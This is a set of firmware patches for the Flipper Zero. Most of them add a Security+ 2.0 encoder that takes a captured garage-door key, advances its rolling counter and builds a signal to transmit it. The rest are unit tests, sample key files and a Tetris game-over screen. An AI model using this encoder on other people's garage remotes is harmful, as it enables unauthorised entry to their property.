break; + case 0x00: // 0b0000 0, 2, 1], + p[0] = a; + p[2] = b; + p[1] = c; + break; + case 0x05: // 0b0101 1, 0, 2], + p[1] = a; + p[0] = b; + p[2] = c; + break; + case 0x02: // 0b0010 0, 1, 2], + case 0x0A: // 0b1010 0, 1, 2], + p[0] = a; + p[1] = b; + p[2] = c; + break; + default: + FURI_LOG_E(TAG, "Order FAIL"); + return false; + } + return true; +} + +static bool subghz_protocol_secplus_v2_mix_order_encode(uint8_t order, uint16_t p[]) { + uint16_t a, b, c; + + // selectively reorder buffers + switch(order) { + case 0x06: // 0b0110 2, 1, 0], + case 0x09: // 0b1001 2, 1, 0], + a = p[2]; + b = p[1]; + c = p[0]; + break; + case 0x08: // 0b1000 1, 2, 0], + case 0x04: // 0b0100 1, 2, 0], + a = p[1]; + b = p[2]; + c = p[0]; + break; + case 0x01: // 0b0001 2, 0, 1], + a = p[2]; + b = p[0]; + c = p[1]; + break; + case 0x00: // 0b0000 0, 2, 1], + a = p[0]; + b = p[2]; + c = p[1]; + break; + case 0x05: // 0b0101 1, 0, 2], + a = p[1]; + b = p[0]; + c = p[2]; + break; + case 0x02: // 0b0010 0, 1, 2], + case 0x0A: // 0b1010 0, 1, 2], + a = p[0]; + b = p[1]; + c = p[2]; + break; + default: + FURI_LOG_E(TAG, "Order FAIL"); + return false; + } + + p[0] = a; + p[1] = b; + p[2] = c; + return true; +} + +/** + * Security+ 2.0 half-message decoding + * @param data data + * @param roll_array[] return roll_array part + * @param fixed[] return fixed part + * @return true On success + */ + +static bool + subghz_protocol_secplus_v2_decode_half(uint64_t data, uint8_t roll_array[], uint32_t* fixed) { + uint8_t order = (data >> 34) & 0x0f; + uint8_t invert = (data >> 30) & 0x0f; + uint16_t p[3] = {0}; + + for(int i = 29; i >= 0; i -= 3) { + p[0] = p[0] << 1 | bit_read(data, i); + p[1] = p[1] << 1 | bit_read(data, i - 1); + p[2] = p[2] << 1 | bit_read(data, i - 2); + } + + if(!subghz_protocol_secplus_v2_mix_invet(invert, p)) return false; + if(!subghz_protocol_secplus_v2_mix_order_decode(order, p)) return false; + + data = order << 4 | invert; + int k = 0; + for(int i = 6; i >= 0; i -= 2) { + roll_array[k++] = (data >> i) & 0x03; + if(roll_array[k] == 3) { + FURI_LOG_E(TAG, "Roll_Array FAIL"); + return false; + } + } + + for(int i = 8; i >= 0; i -= 2) { + roll_array[k++] = (p[2] >> i) & 0x03; + if(roll_array[k] == 3) { + FURI_LOG_E(TAG, "Roll_Array FAIL"); + return false; + } + } + + fixed[0] = p[0] << 10 | p[1]; + return true; +} + +/** + * Analysis of received data + * @param instance Pointer to a SubGhzBlockGeneric* instance + * @param packet_1 first part of the message + */ +static void + subghz_protocol_secplus_v2_remote_controller(SubGhzBlockGeneric* instance, uint64_t packet_1) { + uint32_t fixed_1[1]; + uint8_t roll_1[9] = {0}; + uint32_t fixed_2[1]; + uint8_t roll_2[9] = {0}; + uint8_t rolling_digits[18] = {0}; + + if(subghz_protocol_secplus_v2_decode_half(packet_1, roll_1, fixed_1) && + subghz_protocol_secplus_v2_decode_half(instance->data, roll_2, fixed_2)) { + rolling_digits[0] = roll_2[8]; + rolling_digits[1] = roll_1[8]; + + rolling_digits[2] = roll_2[4]; + rolling_digits[3] = roll_2[5]; + rolling_digits[4] = roll_2[6]; + rolling_digits[5] = roll_2[7]; + + rolling_digits[6] = roll_1[4]; + rolling_digits[7] = roll_1[5]; + rolling_digits[8] = roll_1[6]; + rolling_digits[9] = roll_1[7]; + + rolling_digits[10] = roll_2[0]; + rolling_digits[11] = roll_2[1]; + rolling_digits[12] = roll_2[2]; + rolling_digits[13] = roll_2[3]; + + rolling_digits[14] = roll_1[0]; + rolling_digits[15] = roll_1[1]; + rolling_digits[16] = roll_1[2]; + rolling_digits[17] = roll_1[3]; + + uint32_t rolling = 0; + for(int i = 0; i < 18; i++) { + rolling = (rolling * 3) + rolling_digits[i]; + } + // Max value = 2^28 (268435456) + if(rolling >= 0x10000000) { + FURI_LOG_E(TAG, "Rolling FAIL"); + instance->cnt = 0; + instance->btn = 0; + instance->serial = 0; + } else { + instance->cnt = subghz_protocol_blocks_reverse_key(rolling, 28); + instance->btn = fixed_1[0] >> 12; + instance->serial = fixed_1[0] << 20 | fixed_2[0]; + } + } else { + instance->cnt = 0; + instance->btn = 0; + instance->serial = 0; + } +} + +/** + * Security+ 2.0 half-message encoding + * @param roll_array[] roll_array part + * @param fixed[] fixed part + * @return return data + */ + +static uint64_t subghz_protocol_secplus_v2_encode_half(uint8_t roll_array[], uint32_t fixed) { + uint64_t data = 0; + uint16_t p[3] = {(fixed >> 10) & 0x3FF, fixed & 0x3FF, 0}; + uint8_t order = roll_array[0] << 2 | roll_array[1]; + uint8_t invert = roll_array[2] << 2 | roll_array[3]; + p[2] = (uint16_t)roll_array[4] << 8 | roll_array[5] << 6 | roll_array[6] << 4 | + roll_array[7] << 2 | roll_array[8]; + + if(!subghz_protocol_secplus_v2_mix_order_encode(order, p)) return 0; + if(!subghz_protocol_secplus_v2_mix_invet(invert, p)) return 0; + + for(int i = 0; i < 10; i++) { + data <<= 3; + data |= bit_read(p[0], 9 - i) << 2 | bit_read(p[1], 9 - i) << 1 | bit_read(p[2], 9 - i); + } + data |= ((uint64_t)order) << 34 | ((uint64_t)invert) << 30; + + return data; +} + +/** + * Security+ 2.0 message encoding + * @param instance SubGhzProtocolEncoderSecPlus_v2* + */ + +static void subghz_protocol_secplus_v2_encode(SubGhzProtocolEncoderSecPlus_v2* instance) { + uint32_t fixed_1[1] = {instance->generic.btn << 12 | instance->generic.serial >> 20}; + uint32_t fixed_2[1] = {instance->generic.serial & 0xFFFFF}; + uint8_t rolling_digits[18] = {0}; + uint8_t roll_1[9] = {0}; + uint8_t roll_2[9] = {0}; + + instance->generic.cnt++; + //ToDo it is not known what value the counter starts + if(instance->generic.cnt > 0xFFFFFFF) instance->generic.cnt = 0xE500000; + uint32_t rolling = subghz_protocol_blocks_reverse_key(instance->generic.cnt, 28); + + for(int8_t i = 17; i > -1; i--) { + rolling_digits[i] = rolling % 3; + rolling /= 3; + } + + roll_2[8] = rolling_digits[0]; + roll_1[8] = rolling_digits[1]; + + roll_2[4] = rolling_digits[2]; + roll_2[5] = rolling_digits[3]; + roll_2[6] = rolling_digits[4]; + roll_2[7] = rolling_digits[5]; + + roll_1[4] = rolling_digits[6]; + roll_1[5] = rolling_digits[7]; + roll_1[6] = rolling_digits[8]; + roll_1[7] = rolling_digits[9]; + + roll_2[0] = rolling_digits[10]; + roll_2[1] = rolling_digits[11]; + roll_2[2] = rolling_digits[12]; + roll_2[3] = rolling_digits[13]; + + roll_1[0] = rolling_digits[14]; + roll_1[1] = rolling_digits[15]; + roll_1[2] = rolling_digits[16]; + roll_1[3] = rolling_digits[17]; + + instance->secplus_packet_1 = SECPLUS_V2_HEADER | SECPLUS_V2_PACKET_1 | + subghz_protocol_secplus_v2_encode_half(roll_1, fixed_1[0]); + instance->generic.data = SECPLUS_V2_HEADER | SECPLUS_V2_PACKET_2 | + subghz_protocol_secplus_v2_encode_half(roll_2, fixed_2[0]); +} + +static LevelDuration + subghz_protocol_encoder_secplus_v2_add_duration_to_upload(ManchesterEncoderResult result) { + LevelDuration data = {.duration = 0, .level = 0}; + switch(result) { + case ManchesterEncoderResultShortLow: + data.duration = subghz_protocol_secplus_v2_const.te_short; + data.level = false; + break; + case ManchesterEncoderResultLongLow: + data.duration = subghz_protocol_secplus_v2_const.te_long; + data.level = false; + break; + case ManchesterEncoderResultLongHigh: + data.duration = subghz_protocol_secplus_v2_const.te_long; + data.level = true; + break; + case ManchesterEncoderResultShortHigh: + data.duration = subghz_protocol_secplus_v2_const.te_short; + data.level = true; + break; + + default: + furi_crash("SugGhz: ManchesterEncoderResult is incorrect."); + break; + } + return level_duration_make(data.level, data.duration); +} + +/** + * Generating an upload from data. + * @param instance Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance + */ +static void + subghz_protocol_encoder_secplus_v2_get_upload(SubGhzProtocolEncoderSecPlus_v2* instance) { + furi_assert(instance); + size_t index = 0; + + ManchesterEncoderState enc_state; + manchester_encoder_reset(&enc_state); + ManchesterEncoderResult result; + + //Send data packet 1 + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(!manchester_encoder_advance( + &enc_state, bit_read(instance->secplus_packet_1, i - 1), &result)) { + instance->encoder.upload[index++] = + subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result); + manchester_encoder_advance( + &enc_state, bit_read(instance->secplus_packet_1, i - 1), &result); + } + instance->encoder.upload[index++] = + subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result); + } + instance->encoder.upload[index] = subghz_protocol_encoder_secplus_v2_add_duration_to_upload( + manchester_encoder_finish(&enc_state)); + if(level_duration_get_level(instance->encoder.upload[index])) { + index++; + } + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_secplus_v2_const.te_long * 136); + + //Send data packet 2 + manchester_encoder_reset(&enc_state); + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(!manchester_encoder_advance( + &enc_state, bit_read(instance->generic.data, i - 1), &result)) { + instance->encoder.upload[index++] = + subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result); + manchester_encoder_advance( + &enc_state, bit_read(instance->generic.data, i - 1), &result); + } + instance->encoder.upload[index++] = + subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result); + } + instance->encoder.upload[index] = subghz_protocol_encoder_secplus_v2_add_duration_to_upload( + manchester_encoder_finish(&enc_state)); + if(level_duration_get_level(instance->encoder.upload[index])) { + index++; + } + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_secplus_v2_const.te_long * 136); + + instance->encoder.size_upload = index; +} + +bool subghz_protocol_encoder_secplus_v2_deserialize(void* context, FlipperFormat* flipper_format) { + furi_assert(context); + SubGhzProtocolEncoderSecPlus_v2* instance = context; + bool res = false; + do { + if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { + FURI_LOG_E(TAG, "Deserialize error"); + break; + } + + uint8_t key_data[sizeof(uint64_t)] = {0}; + if(!flipper_format_read_hex( + flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Secplus_packet_1"); + break; + } + for(uint8_t i = 0; i < sizeof(uint64_t); i++) { + instance->secplus_packet_1 = instance->secplus_packet_1 << 8 | key_data[i]; + } + + subghz_protocol_secplus_v2_remote_controller( + &instance->generic, instance->secplus_packet_1); + subghz_protocol_secplus_v2_encode(instance); + //optional parameter parameter + flipper_format_read_uint32( + flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + subghz_protocol_encoder_secplus_v2_get_upload(instance); + + //update data + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF; + } + if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Key"); + break; + } + + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->secplus_packet_1 >> i * 8) & 0xFF; + } + if(!flipper_format_update_hex( + flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Secplus_packet_1"); + break; + } + + instance->encoder.is_runing = true; + + res = true; + } while(false); + + return res; +} + +void subghz_protocol_encoder_secplus_v2_stop(void* context) { + SubGhzProtocolEncoderSecPlus_v2* instance = context; + instance->encoder.is_runing = false; +} + +LevelDuration subghz_protocol_encoder_secplus_v2_yield(void* context) { + SubGhzProtocolEncoderSecPlus_v2* instance = context; + + if(instance->encoder.repeat == 0 || !instance->encoder.is_runing) { + instance->encoder.is_runing = false; + return level_duration_reset(); + } + + LevelDuration ret = instance->encoder.upload[instance->encoder.front]; + + if(++instance->encoder.front == instance->encoder.size_upload) { + instance->encoder.repeat--; + instance->encoder.front = 0; + } + + return ret; +} + +bool subghz_protocol_secplus_v2_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint32_t cnt, + uint32_t frequency, + FuriHalSubGhzPreset preset) { + furi_assert(context); + SubGhzProtocolEncoderSecPlus_v2* instance = context; + instance->generic.serial = serial; + instance->generic.cnt = cnt; + instance->generic.btn = btn; + instance->generic.data_count_bit = + (uint8_t)subghz_protocol_secplus_v2_const.min_count_bit_for_found; + subghz_protocol_secplus_v2_encode(instance); + bool res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + + uint8_t key_data[sizeof(uint64_t)] = {0}; + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->secplus_packet_1 >> i * 8) & 0xFF; + } + + if(res && + !flipper_format_write_hex(flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Secplus_packet_1"); + res = false; + } + return res; +} + void* subghz_protocol_decoder_secplus_v2_alloc(SubGhzEnvironment* environment) { UNUSED(environment); SubGhzProtocolDecoderSecPlus_v2* instance = malloc(sizeof(SubGhzProtocolDecoderSecPlus_v2)); @@ -213,186 +747,6 @@ void subghz_protocol_decoder_secplus_v2_feed(void* context, bool level, uint32_t } } -/** - * Security+ 2.0 half-message decoding - * @param data data - * @param roll_array[] return roll_array part - * @param fixed[] return fixed part - * @return true On success - */ - -static bool - subghz_protocol_secplus_v2_decode_half(uint64_t data, uint8_t roll_array[], uint32_t* fixed) { - uint8_t order = (data >> 34) & 0x0f; - uint8_t invert = (data >> 30) & 0x0f; - uint16_t p[3] = {0}; - - for(int i = 29; i >= 0; i -= 3) { - p[0] = p[0] << 1 | bit_read(data, i); - p[1] = p[1] << 1 | bit_read(data, i - 1); - p[2] = p[2] << 1 | bit_read(data, i - 2); - } - - // selectively invert buffers - switch(invert) { - case 0x00: // 0b0000 (True, True, False), - p[0] = ~p[0] & 0x03FF; - p[1] = ~p[1] & 0x03FF; - break; - case 0x01: // 0b0001 (False, True, False), - p[1] = ~p[1] & 0x03FF; - break; - case 0x02: // 0b0010 (False, False, True), - p[2] = ~p[2] & 0x03FF; - break; - case 0x04: // 0b0100 (True, True, True), - p[0] = ~p[0] & 0x03FF; - p[1] = ~p[1] & 0x03FF; - p[2] = ~p[2] & 0x03FF; - break; - case 0x05: // 0b0101 (True, False, True), - case 0x0a: // 0b1010 (True, False, True), - p[0] = ~p[0] & 0x03FF; - p[2] = ~p[2] & 0x03FF; - break; - case 0x06: // 0b0110 (False, True, True), - p[1] = ~p[1] & 0x03FF; - p[2] = ~p[2] & 0x03FF; - break; - case 0x08: // 0b1000 (True, False, False), - p[0] = ~p[0] & 0x03FF; - break; - case 0x09: // 0b1001 (False, False, False), - break; - default: - FURI_LOG_E(TAG, "Invert FAIL"); - return false; - } - - uint16_t a = p[0], b = p[1], c = p[2]; - - // selectively reorder buffers - switch(order) { - case 0x06: // 0b0110 2, 1, 0], - case 0x09: // 0b1001 2, 1, 0], - p[2] = a; - p[1] = b; - p[0] = c; - break; - case 0x08: // 0b1000 1, 2, 0], - case 0x04: // 0b0100 1, 2, 0], - p[1] = a; - p[2] = b; - p[0] = c; - break; - case 0x01: // 0b0001 2, 0, 1], - p[2] = a; - p[0] = b; - p[1] = c; - break; - case 0x00: // 0b0000 0, 2, 1], - p[0] = a; - p[2] = b; - p[1] = c; - break; - case 0x05: // 0b0101 1, 0, 2], - p[1] = a; - p[0] = b; - p[2] = c; - break; - case 0x02: // 0b0010 0, 1, 2], - case 0x0A: // 0b1010 0, 1, 2], - p[0] = a; - p[1] = b; - p[2] = c; - break; - default: - FURI_LOG_E(TAG, "Order FAIL"); - return false; - } - - data = order << 4 | invert; - int k = 0; - for(int i = 6; i >= 0; i -= 2) { - roll_array[k++] = (data >> i) & 0x03; - if(roll_array[k] == 3) { - FURI_LOG_E(TAG, "Roll_Array FAIL"); - return false; - } - } - - for(int i = 8; i >= 0; i -= 2) { - roll_array[k++] = (p[2] >> i) & 0x03; - if(roll_array[k] == 3) { - FURI_LOG_E(TAG, "Roll_Array FAIL"); - return false; - } - } - - fixed[0] = p[0] << 10 | p[1]; - return true; -} - -/** - * Analysis of received data - * @param instance Pointer to a SubGhzBlockGeneric* instance - * @param packet_1 first part of the message - */ -static void - subghz_protocol_secplus_v2_remote_controller(SubGhzBlockGeneric* instance, uint64_t packet_1) { - uint32_t fixed_1[1]; - uint8_t roll_1[9] = {0}; - uint32_t fixed_2[1]; - uint8_t roll_2[9] = {0}; - uint8_t rolling_digits[18] = {0}; - - if(subghz_protocol_secplus_v2_decode_half(packet_1, roll_1, fixed_1) && - subghz_protocol_secplus_v2_decode_half(instance->data, roll_2, fixed_2)) { - rolling_digits[0] = roll_2[8]; - rolling_digits[1] = roll_1[8]; - - rolling_digits[2] = roll_2[4]; - rolling_digits[3] = roll_2[5]; - rolling_digits[4] = roll_2[6]; - rolling_digits[5] = roll_2[7]; - - rolling_digits[6] = roll_1[4]; - rolling_digits[7] = roll_1[5]; - rolling_digits[8] = roll_1[6]; - rolling_digits[9] = roll_1[7]; - - rolling_digits[10] = roll_2[0]; - rolling_digits[11] = roll_2[1]; - rolling_digits[12] = roll_2[2]; - rolling_digits[13] = roll_2[3]; - - rolling_digits[14] = roll_1[0]; - rolling_digits[15] = roll_1[1]; - rolling_digits[16] = roll_1[2]; - rolling_digits[17] = roll_1[3]; - - uint32_t rolling = 0; - for(int i = 0; i < 18; i++) { - rolling = (rolling * 3) + rolling_digits[i]; - } - // Max value = 2^28 (268435456) - if(rolling >= 0x10000000) { - FURI_LOG_E(TAG, "Rolling FAIL"); - instance->cnt = 0; - instance->btn = 0; - instance->serial = 0; - } else { - instance->cnt = subghz_protocol_blocks_reverse_key(rolling, 28); - instance->btn = fixed_1[0] >> 12; - instance->serial = fixed_1[0] << 20 | fixed_2[0]; - } - } else { - instance->cnt = 0; - instance->btn = 0; - instance->serial = 0; - } -} - uint8_t subghz_protocol_decoder_secplus_v2_get_hash_data(void* context) { furi_assert(context); SubGhzProtocolDecoderSecPlus_v2* instance = context; diff --git a/lib/subghz/protocols/secplus_v2.h b/lib/subghz/protocols/secplus_v2.h index dbb1e1bd2..3d6951482 100644 --- a/lib/subghz/protocols/secplus_v2.h +++ b/lib/subghz/protocols/secplus_v2.h @@ -10,6 +10,61 @@ extern const SubGhzProtocolDecoder subghz_protocol_secplus_v2_decoder; extern const SubGhzProtocolEncoder subghz_protocol_secplus_v2_encoder; extern const SubGhzProtocol subghz_protocol_secplus_v2; +/** + * Allocate SubGhzProtocolEncoderSecPlus_v2. + * @param environment Pointer to a SubGhzEnvironment instance + * @return SubGhzProtocolEncoderSecPlus_v2* pointer to a SubGhzProtocolEncoderSecPlus_v2 instance + */ +void* subghz_protocol_encoder_secplus_v2_alloc(SubGhzEnvironment* environment); + +/** + * Free SubGhzProtocolEncoderSecPlus_v2. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance + */ +void subghz_protocol_encoder_secplus_v2_free(void* context); + +/** + * Deserialize and generating an upload to send. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance + * @param flipper_format Pointer to a FlipperFormat instance + * @return true On success + */ +bool subghz_protocol_encoder_secplus_v2_deserialize(void* context, FlipperFormat* flipper_format); + +/** + * Forced transmission stop. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance + */ +void subghz_protocol_encoder_secplus_v2_stop(void* context); + +/** + * Getting the level and duration of the upload to be loaded into DMA. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance + * @return LevelDuration + */ +LevelDuration subghz_protocol_encoder_secplus_v2_yield(void* context); + +/** + * Key generation from simple data. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance + * @param flipper_format Pointer to a FlipperFormat instance + * @param serial Serial number, 32 bit + * @param btn Button number, 8 bit + * @param cnt Container value, 28 bit + * @param manufacture_name Name of manufacturer's key + * @param frequency Transmission frequency, Hz + * @param preset Modulation, FuriHalSubGhzPreset + * @return true On success + */ +bool subghz_protocol_secplus_v2_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint32_t cnt, + uint32_t frequency, + FuriHalSubGhzPreset preset); + /** * Allocate SubGhzProtocolDecoderSecPlus_v2. * @param environment Pointer to a SubGhzEnvironment instance From e4e2efda746ce0113facf80f838afa98956f3189 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:30:13 +0300 Subject: [PATCH 211/461] Update came_twee.c --- lib/subghz/protocols/came_twee.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/subghz/protocols/came_twee.c b/lib/subghz/protocols/came_twee.c index 4ca116232..e5fb12d1e 100644 --- a/lib/subghz/protocols/came_twee.c +++ b/lib/subghz/protocols/came_twee.c @@ -145,8 +145,7 @@ static LevelDuration break; default: - FURI_LOG_E(TAG, "DO CRASH HERE."); - furi_crash(NULL); + furi_crash("SugGhz: ManchesterEncoderResult is incorrect."); break; } return level_duration_make(data.level, data.duration); From 1fb1d1724f120b17240b611ca75d500c05989cf5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:31:44 +0300 Subject: [PATCH 212/461] Update subghz_test.c --- applications/unit_tests/subghz/subghz_test.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/applications/unit_tests/subghz/subghz_test.c b/applications/unit_tests/subghz/subghz_test.c index 879deae82..4cdbe379e 100644 --- a/applications/unit_tests/subghz/subghz_test.c +++ b/applications/unit_tests/subghz/subghz_test.c @@ -416,6 +416,12 @@ MU_TEST(subghz_encoder_holtek_test) { "Test encoder " SUBGHZ_PROTOCOL_HOLTEK_NAME " error\r\n"); } ++MU_TEST(subghz_encoder_secplus_v2_test) { + mu_assert( + subghz_encoder_test("/ext/unit_tests/subghz/security_pls_2_0.sub"), + "Test encoder " SUBGHZ_PROTOCOL_SECPLUS_V2_NAME " error\r\n"); +} + MU_TEST(subghz_random_test) { mu_assert(subghz_decode_random_test(TEST_RANDOM_DIR_NAME), "Random test error\r\n"); } @@ -457,6 +463,7 @@ MU_TEST_SUITE(subghz) { MU_RUN_TEST(subghz_encoder_firefly_test); MU_RUN_TEST(subghz_encoder_megacode_test); MU_RUN_TEST(subghz_encoder_holtek_test); + MU_RUN_TEST(subghz_encoder_secplus_v2_test); MU_RUN_TEST(subghz_random_test); subghz_test_deinit(); From 0a8db5ed25acd44a74452dbc25a141fda847854d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:34:45 +0300 Subject: [PATCH 213/461] Update secplus_v2.c --- lib/subghz/protocols/secplus_v2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/secplus_v2.c b/lib/subghz/protocols/secplus_v2.c index af4de9342..1afda8fd8 100644 --- a/lib/subghz/protocols/secplus_v2.c +++ b/lib/subghz/protocols/secplus_v2.c @@ -77,7 +77,7 @@ const SubGhzProtocol subghz_protocol_secplus_v2 = { .name = SUBGHZ_PROTOCOL_SECPLUS_V2_NAME, .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_secplus_v2_decoder, .encoder = &subghz_protocol_secplus_v2_encoder, From f4a5f32e3f8c2a4d122c83a20e7ec5a7a03fbba2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:39:12 +0300 Subject: [PATCH 214/461] add test signals secplus 1.0 & 2.0 --- assets/unit_tests/subghz/security_pls_1_0.sub | 7 +++++++ assets/unit_tests/subghz/security_pls_2_0.sub | 8 ++++++++ 2 files changed, 15 insertions(+) create mode 100644 assets/unit_tests/subghz/security_pls_1_0.sub create mode 100644 assets/unit_tests/subghz/security_pls_2_0.sub diff --git a/assets/unit_tests/subghz/security_pls_1_0.sub b/assets/unit_tests/subghz/security_pls_1_0.sub new file mode 100644 index 000000000..f0909a776 --- /dev/null +++ b/assets/unit_tests/subghz/security_pls_1_0.sub @@ -0,0 +1,7 @@ +Filetype: Flipper SubGhz Key File +Version: 1 +Frequency: 310000000 +Preset: FuriHalSubGhzPresetOok650Async +Protocol: Security+ 1.0 +Bit: 42 +Key: 1C 41 D2 39 E6 A3 8B CC diff --git a/assets/unit_tests/subghz/security_pls_2_0.sub b/assets/unit_tests/subghz/security_pls_2_0.sub new file mode 100644 index 000000000..a13ab0fc8 --- /dev/null +++ b/assets/unit_tests/subghz/security_pls_2_0.sub @@ -0,0 +1,8 @@ +Filetype: Flipper SubGhz Key File +Version: 1 +Frequency: 315000000 +Preset: FuriHalSubGhzPresetOok650Async +Protocol: Security+ 2.0 +Bit: 62 +Key: 00 00 3D 29 0F B9 BE EE +Secplus_packet_1: 00 00 3C 01 6B 19 DD 60 From e8433f9b76dcf30f996b10fc2c6a929a99b87888 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:49:23 +0300 Subject: [PATCH 215/461] Delete sesproject --- sesproject | 1 - 1 file changed, 1 deletion(-) delete mode 160000 sesproject diff --git a/sesproject b/sesproject deleted file mode 160000 index c4fe63f83..000000000 --- a/sesproject +++ /dev/null @@ -1 +0,0 @@ -Subproject commit c4fe63f83b829491a38aa8e6e59fa64ac7f8f95b From c5612964026c36fbe5819c18e5b21615227487d7 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:54:27 +0300 Subject: [PATCH 216/461] Update subghz_test.c fix error --- applications/unit_tests/subghz/subghz_test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/unit_tests/subghz/subghz_test.c b/applications/unit_tests/subghz/subghz_test.c index 4cdbe379e..395b81b24 100644 --- a/applications/unit_tests/subghz/subghz_test.c +++ b/applications/unit_tests/subghz/subghz_test.c @@ -416,7 +416,7 @@ MU_TEST(subghz_encoder_holtek_test) { "Test encoder " SUBGHZ_PROTOCOL_HOLTEK_NAME " error\r\n"); } -+MU_TEST(subghz_encoder_secplus_v2_test) { +MU_TEST(subghz_encoder_secplus_v2_test) { mu_assert( subghz_encoder_test("/ext/unit_tests/subghz/security_pls_2_0.sub"), "Test encoder " SUBGHZ_PROTOCOL_SECPLUS_V2_NAME " error\r\n"); From 122629935e84ae25b4d1edb3ecadca4b6c30de63 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 01:10:56 +0300 Subject: [PATCH 217/461] Update tetris_game.c --- applications/tetris_game/tetris_game.c | 178 +++++++++++++++++-------- 1 file changed, 126 insertions(+), 52 deletions(-) diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index 8bfdd741c..18c221b89 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -59,7 +59,7 @@ typedef struct { } Piece; // Shapes @ spawn locations, rotation point first -static const Piece shapes[] = { +static Piece shapes[] = { { .p = {{5, 1}, {4, 0}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // Z { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // S { .p = {{5, 1}, {4, 1}, {6, 1}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // L @@ -69,9 +69,18 @@ static const Piece shapes[] = { { .p = {{5, 1}, {5, 0}, {6, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeO } // O }; +typedef enum { + GameStatePlaying, + GameStateGameOver +} GameState; + typedef struct { bool playField[FIELD_HEIGHT][FIELD_WIDTH]; Piece currPiece; + uint16_t numLines; + uint16_t fallSpeed; + GameState gameState; + osTimerId_t timer; } TetrisState; typedef enum { @@ -140,6 +149,23 @@ static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { tetris_game_draw_border(canvas); tetris_game_draw_playfield(canvas, tetris_state); + + if(tetris_state->gameState == GameStateGameOver) { + // 128 x 64 + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, 1, 52, 62, 24); + + canvas_set_color(canvas, ColorBlack); + canvas_draw_frame(canvas, 1, 52, 62, 24); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 4, 63, "Game Over"); + + char buffer[13]; + snprintf(buffer, sizeof(buffer), "Lines: %u", tetris_state->numLines); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 32, 73, AlignCenter, AlignBottom, buffer); + } release_mutex((ValueMutex *)ctx, tetris_state); } @@ -151,9 +177,14 @@ static void tetris_game_input_callback(InputEvent* input_event, osMessageQueueId } static void tetris_game_init_state(TetrisState* tetris_state) { + tetris_state->gameState = GameStatePlaying; + tetris_state->numLines = 0; + tetris_state->fallSpeed = 500; memset(tetris_state->playField, 0, sizeof(tetris_state->playField)); memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); + + osTimerStart(tetris_state->timer, tetris_state->fallSpeed); } static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { @@ -267,15 +298,68 @@ static void tetris_game_update_timer_callback(osMessageQueueId_t event_queue) { osMessageQueuePut(event_queue, &event, 0, osWaitForever); } +static void tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, bool wasDownMove) { + if(tetris_state->gameState == GameStateGameOver) + return; -int32_t tetris_game_app(void* p) { - (void)p; + 